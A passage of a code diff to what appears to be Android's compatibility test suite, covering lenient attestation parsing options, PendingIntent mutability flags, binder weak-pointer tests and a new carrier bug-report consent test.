+            searchAction.writeToParcel(parcel, 0);
+
+            // Read from parcel
+            parcel.setDataPosition(0);
+            final SearchAction clone = SearchAction.CREATOR
+                    .createFromParcel(parcel);
+            assertThat(clone).isNotNull();
+            return clone;
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
index b454130..232a230 100644
--- a/tests/security/src/android/keystore/cts/Asn1Attestation.java
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -40,7 +40,13 @@
      * @throws CertificateParsingException if the certificate does not contain a properly-formatted
      *     attestation extension.
      */
+
     public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+        this(x509Cert, true);
+    }
+
+    public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         super(x509Cert);
         ASN1Sequence seq = getAttestationSequence(x509Cert);
 
@@ -57,8 +63,8 @@
 
         uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
 
-        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
-        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
     }
 
     ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
 
     public static boolean getBooleanFromAsn1(ASN1Encodable value)
             throws CertificateParsingException {
+        return getBooleanFromAsn1(value, true);
+    }
+
+    public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(value instanceof ASN1Boolean)) {
             throw new CertificateParsingException(
                     "Expected boolean, found " + value.getClass().getName());
         }
         ASN1Boolean booleanValue = (ASN1Boolean) value;
+
         if (booleanValue.equals(ASN1Boolean.TRUE)) {
             return true;
         } else if (booleanValue.equals((ASN1Boolean.FALSE))) {
             return false;
+        } else if (!strictParsing) {
+            // Value is not 0xFF nor 0x00, but some other non-zero value.
+            // This is invalid DER, but if we're not being strict,
+            // consider it true, otherwise fall through and throw exception
+            return true;
         }
 
         throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 7414908..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -58,8 +58,13 @@
      *     attestation extension, if it contains multiple attestation extensions, or if the
      *     attestation extension can not be parsed.
      */
+
     public static Attestation loadFromCertificate(X509Certificate x509Cert)
             throws CertificateParsingException {
+        return Attestation.loadFromCertificate(x509Cert, true);
+    }
+    public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         if (x509Cert.getExtensionValue(EAT_OID) == null
                 && x509Cert.getExtensionValue(ASN1_OID) == null) {
             throw new CertificateParsingException("No attestation extensions found");
@@ -74,7 +79,7 @@
                 throw new CertificateParsingException("Unable to parse EAT extension", cbe);
             }
         }
-        return new Asn1Attestation(x509Cert);
+        return new Asn1Attestation(x509Cert, strictParsing);
     }
 
     Attestation(X509Certificate x509Cert) {
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index dce9b2a..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -209,6 +209,10 @@
     private boolean confirmationRequired;
 
     public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+        this(sequence, true);
+    }
+
+    public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
         if (!(sequence instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for authorization list, found "
                     + sequence.getClass().getName());
@@ -292,7 +296,7 @@
                     userAuthType = Asn1Utils.getIntegerFromAsn1(value);
                     break;
                 case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
-                    rootOfTrust = new RootOfTrust(value);
+                    rootOfTrust = new RootOfTrust(value, strictParsing);
                     break;
                 case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
                     attestationApplicationId = new AttestationApplicationId(Asn1Utils
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index a115874..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
     private final int verifiedBootState;
 
     public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+        this(asn1Encodable, true);
+    }
+
+    public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(asn1Encodable instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for root of trust, found "
                     + asn1Encodable.getClass().getName());
@@ -46,7 +51,8 @@
         ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
         verifiedBootKey =
                 Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
-        deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+        deviceLocked = Asn1Utils.getBooleanFromAsn1(
+                sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
         verifiedBootState =
                 Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
     }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
         long wakeupTimeMs = (System.currentTimeMillis()
                 + TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
         Intent intent = new Intent(ACTION);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
 
         // Execute operation
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
                         new Intent(this, Activities.ActivityOne.class)
                                 .setAction(Intent.ACTION_MAIN)
                                 .addCategory(Intent.CATEGORY_LAUNCHER)
-                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
                 .setOngoing(true)
                 .build();
         startForeground(1, status);
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..e1c1ba2 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
@@ -64,7 +64,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="1">
+  <uses-sdk android:targetSdkVersion="28" />
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution2" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution3" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution4" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution5" android:label="@string/dummyLabel" />
 
-  <application />
+  <application android:debuggable="true"/>
 
 </manifest>
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6a..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="2">
+  <uses-sdk android:targetSdkVersion="29"/>
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution6" android:label="@string/dummyLabel">
     <inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index 44e4c05..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -178,13 +178,15 @@
 }
 
 /**
- * Run a block with a compat change disabled
+ * Run a block with a compat change enabled
  */
-fun withDisabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
-    runCommand("am compat disable $changeId $packageName")
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+    runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+    runCommand("am compat enable $changeId $packageName")
     try {
         wrapped()
     } finally {
         runCommand("am compat reset $changeId $packageName")
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
     }
 }
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 33ccf9a..8aba608b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -108,14 +108,14 @@
 
     @Test(expected = SecurityException::class)
     fun cannotUseUndeclaredAttributionTag() {
-        noteForAttribution("invalid attribution tag")
+        withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+            noteForAttribution("invalid attribution tag")
+        }
     }
 
     @Test
     fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
-        withDisabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
-            noteForAttribution("invalid attribution tag")
-        }
+        noteForAttribution("invalid attribution tag")
     }
 
     @Test(expected = AssertionError::class)
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
         extras.putString("dummy", launcherPkg + "-dummy");
 
         PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
-                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         AppWidgetManager.getInstance(context).requestPinAppWidget(
                 getFirstWidgetComponent(), extras, pinResult);
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
         // Push update
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getBroadcast(mActivity, 0,
-                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -165,7 +165,7 @@
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getActivity(mActivity, 0,
                         new Intent(mActivity, TransitionActivity.class),
-                        PendingIntent.FLAG_UPDATE_CURRENT)));
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -229,7 +229,7 @@
         views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
         views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
-                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
 
         // Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
         // to create unique before on an item to item basis.
         Intent viewIntent = new Intent(BROADCAST_ACTION);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
 
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
             final boolean allowWhileIdle = req.getAllowWhileIdle();
 
             final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
-                    new Intent(req.getIntentAction()), 0);
+                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
                     + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index fab478e..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -139,6 +139,92 @@
 
   AIBinder* promoted = AIBinder_Weak_promote(weak);
   EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder* promoted = AIBinder_Weak_promote(copy);
+  EXPECT_EQ(binder, promoted);
+
+  AIBinder_Weak_delete(copy);
+  AIBinder_decStrong(promoted);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+  AIBinder* binder = SampleData::newBinder();
+
+  EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder* b2 = SampleData::newBinder();
+
+  EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+  AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(binder);
+
+  // they are different objects
+  EXPECT_NE(weak1, weak2);
+
+  // they point to the same binder
+  EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+  AIBinder_Weak_delete(weak1);
+  AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+  AIBinder* b2 = SampleData::newBinder();
+  AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+  bool b1ltb2 = AIBinder_lt(b1, b2);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+
+  EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+  EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+  AIBinder_Weak_delete(w1);
+  AIBinder_Weak_delete(w2);
 }
 
 TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -368,6 +454,13 @@
 
   EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
 
+  EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+  AIBinder_Weak_delete(weak);
+
   // Does not crash
   AIBinder_DeathRecipient_delete(nullptr);
 
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 0eac60e..6a191eae 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -16,9 +16,11 @@
     name: "CtsCarrierApiTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "androidx.test.uiautomator_uiautomator",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
         "junit",
+        "truth-prebuilt",
     ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
new file mode 100644
index 0000000..f1a5267
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.BugreportManager;
+import android.os.BugreportManager.BugreportCallback;
+import android.os.BugreportParams;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit tests for {@link BugreportManager}'s carrier functionality, specifically "connectivity"
+ * bugreports.
+ *
+ * <p>Structure is largely adapted from
+ * frameworks/base/core/tests/bugreports/.../BugreportManagerTest.java.
+ *
+ * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
+ * cts-tradefed run cts -m CtsCarrierApiTestCases --test
+ * android.carrierapi.cts.BugreportManagerTest`
+ */
+@RunWith(AndroidJUnit4.class)
+public class BugreportManagerTest {
+    private static final String TAG = "BugreportManagerTest";
+
+    private static final long BUGREPORT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+    private static final long UIAUTOMATOR_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    // This value is defined in dumpstate.cpp:TELEPHONY_REPORT_USER_CONSENT_TIMEOUT_MS. Because the
+    // consent dialog is so large and important, the user *must* be given at least 2 minutes to read
+    // it before it times out.
+    private static final long MINIMUM_CONSENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(2);
+
+    private static final BySelector CONSENT_DIALOG_TITLE_SELECTOR = By.res("android", "alertTitle");
+
+    @Rule public TestName name = new TestName();
+
+    private TelephonyManager mTelephonyManager;
+    private BugreportManager mBugreportManager;
+    private File mBugreportFile;
+    private ParcelFileDescriptor mBugreportFd;
+    private File mScreenshotFile;
+    private ParcelFileDescriptor mScreenshotFd;
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        // Bail out if no cellular support.
+        assumeTrue(
+                "No cellular support, CarrierAPI.BugreportManagerTest cases will be skipped",
+                context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        // Fail the test if we don't have carrier privileges.
+        mTelephonyManager = context.getSystemService(TelephonyManager.class);
+        assertWithMessage(
+                        "This test requires a SIM card with carrier privilege rules on it.\n"
+                                + "Visit https://source.android.com/devices/tech/config/uicc.html")
+                .that(mTelephonyManager.hasCarrierPrivileges())
+                .isTrue();
+        mBugreportManager = context.getSystemService(BugreportManager.class);
+
+        mBugreportFile = createTempFile("bugreport_" + name.getMethodName(), ".zip");
+        mBugreportFd = parcelFd(mBugreportFile);
+        // Should never be written for anything a carrier app can trigger; several tests assert that
+        // this file has no content.
+        mScreenshotFile = createTempFile("screenshot_" + name.getMethodName(), ".png");
+        mScreenshotFd = parcelFd(mScreenshotFile);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        FileUtils.closeQuietly(mBugreportFd);
+        FileUtils.closeQuietly(mScreenshotFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentDenied() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.DENY);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_DENIED_CONSENT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentTimeout() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        long startTimeMillis = System.currentTimeMillis();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.NONE_TIMEOUT);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Ensure the dialog was displaying long enough.
+        assertThat(System.currentTimeMillis() - startTimeMillis)
+                .isAtLeast(MINIMUM_CONSENT_TIMEOUT_MILLIS);
+        // The dialog may still be displaying, dismiss it if so.
+        dismissConsentDialogIfPresent();
+    }
+
+    @Test
+    public void simultaneousBugreportsNotAllowed() throws Exception {
+        BugreportCallbackImpl callback1 = new BugreportCallbackImpl();
+        BugreportCallbackImpl callback2 = new BugreportCallbackImpl();
+        File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
+        ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
+
+        // Start the first report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
+
+        // Attempting to start a second report immediately gets us a concurrency error.
+        mBugreportManager.startConnectivityBugreport(bugreportFd2, Runnable::run, callback2);
+        assertThat(callback2.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS);
+
+        // Now wait for the first report to complete normally.
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback1);
+
+        assertThat(callback1.isSuccess()).isTrue();
+        assertThat(callback1.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // The second report never got any details filled in.
+        assertThat(callback2.hasReceivedProgress()).isFalse();
+        assertThat(bugreportFile2.length()).isEqualTo(0L);
+        assertFdIsClosed(bugreportFd2);
+    }
+
+    @Test
+    public void cancelBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Start the report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+
+        assertThat(callback.isDone()).isFalse();
+
+        // Cancel and wait for the final result.
+        mBugreportManager.cancelBugreport();
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode()).isEqualTo(BugreportCallback.BUGREPORT_ERROR_RUNTIME);
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
